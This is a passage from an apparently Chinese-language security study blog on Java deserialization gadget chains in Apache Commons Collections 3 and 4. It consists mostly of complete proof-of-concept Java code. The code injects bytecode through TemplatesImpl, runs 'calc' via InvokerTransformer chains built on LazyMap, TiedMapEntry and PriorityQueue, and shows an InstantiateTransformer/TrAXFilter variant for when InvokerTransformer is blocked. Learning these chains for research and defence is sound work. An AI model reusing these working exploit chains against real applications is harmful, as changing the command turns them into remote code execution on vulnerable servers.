1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))}; TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); _bytecodesField.setAccessible(true ); _bytecodesField.set(templates,bytes); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(11 );
TODO 在写这篇博客之前,自己分析的过程中,有折腾到另外一个情况,,比上面的分析还略微有点更加不顺利,甚至Test中,namesArray的字符串还需要”@”,有空了找找原因
后记:
跟着白日梦组长的视频看了一遍之后发现和我一样,我二次类加载的时候直接就把Test1.class进行加载了,如果是加载Test.class则会来到_auxClasses
的空指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package com.potato.Commons_Collections;import com.potato.Tools.Utils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))}; Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes" ); f.setAccessible(true ); f.set(templates,bytes); TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl (); f = c.getDeclaredField("_tfactory" ); f.setAccessible(true ); f.set(templates,transformerFactory); f = c.getDeclaredField("_auxClasses" ); f.setAccessible(true ); f.set(templates,new HashMap <>()); f = c.getDeclaredField("_name" ); f.setAccessible(true ); f.set(templates,"11" ); f = c.getDeclaredField("_transletIndex" ); f.setAccessible(true ); f.set(templates,0 ); Transformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}) } ); HashMap<Object,Object> hashMap = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer (11 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); Class<?> c1 = LazyMap.class; Field factoryField = c1.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove(1 ); f = c.getDeclaredField("_auxClasses" ); f.setAccessible(true ); f.set(templates,null ); Utils.serialize(hashMap1); Utils.unserialize("obj.ser" ); } }
还有一个反而更短的poc,只需要修改_tfactory
和_name
就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package com.potato.Commons_Collections;import com.potato.Tools.Utils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))}; Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes" ); f.setAccessible(true ); f.set(templates,bytes); TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl (); f = c.getDeclaredField("_tfactory" ); f.setAccessible(true ); f.set(templates,transformerFactory); f = c.getDeclaredField("_name" ); f.setAccessible(true ); f.set(templates,"11" ); Transformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}) } ); HashMap<Object,Object> hashMap = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer (11 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); Class<?> c1 = LazyMap.class; Field factoryField = c1.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove(1 ); f = c.getDeclaredField("_auxClasses" ); f.setAccessible(true ); f.set(templates,null ); Utils.serialize(hashMap1); Utils.unserialize("obj.ser" ); } }
似乎是一开始弄的时候把templates.getTransletIndex();也调用了导致的?
有些时候可能会禁掉InvokerTransformer,这时候怎么办呢
Commons Collections包内也给我们提供了另一个可利用的类InstantiateTransformer
这个类的transform()方法能获取一个类的构造器并进行类的实例化
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } ... }
对newTransformer()方法继续进行调用追踪,在TrAXFilter类的构造器下对一个templates进行了调用newTransformer,对应的就是上面InstantiateTransformer类中的transform方法来对构造器进行一个调用
将templates.newTransformer();替换为TrAXFilter trAXFilter = new TrAXFilter(templates);,成功触发计算器
核心部分代码:
1 2 3 4 5 Transformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) } );
CC4 CC4.0仍可利用3的 依赖引入
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
CommonsCollections4.0中仍然存在3.2.1的反序列化链,把LazyMap.decorate()改成LazyMap.lazyMap()就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package com.potato.Commons_Collections;import com.potato.Tools.Utils;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;public class CC4 { public static void main (String[] args) throws Exception{ ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); HashMap<Object,Object> hashMap = new HashMap <>(); Class<?> c = org.apache.commons.collections4.map.LazyMap.class; LazyMap lazyMap = org.apache.commons.collections4.map.LazyMap.lazyMap(hashMap,new ConstantTransformer (11 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove(1 ); Utils.serialize(hashMap1); Utils.unserialize("obj.ser" ); } }
利用优先队列 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); Class c = priorityQueue.getClass(); Field queueField = c.getDeclaredField("queue" ); queueField.setAccessible(true ); queueField.set(priorityQueue,new Object []{1 ,2 ,chainedTransformer}); Field sizeField = c.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(priorityQueue,3 ); Utils.serialize(priorityQueue); Utils.unserialize("obj.ser" );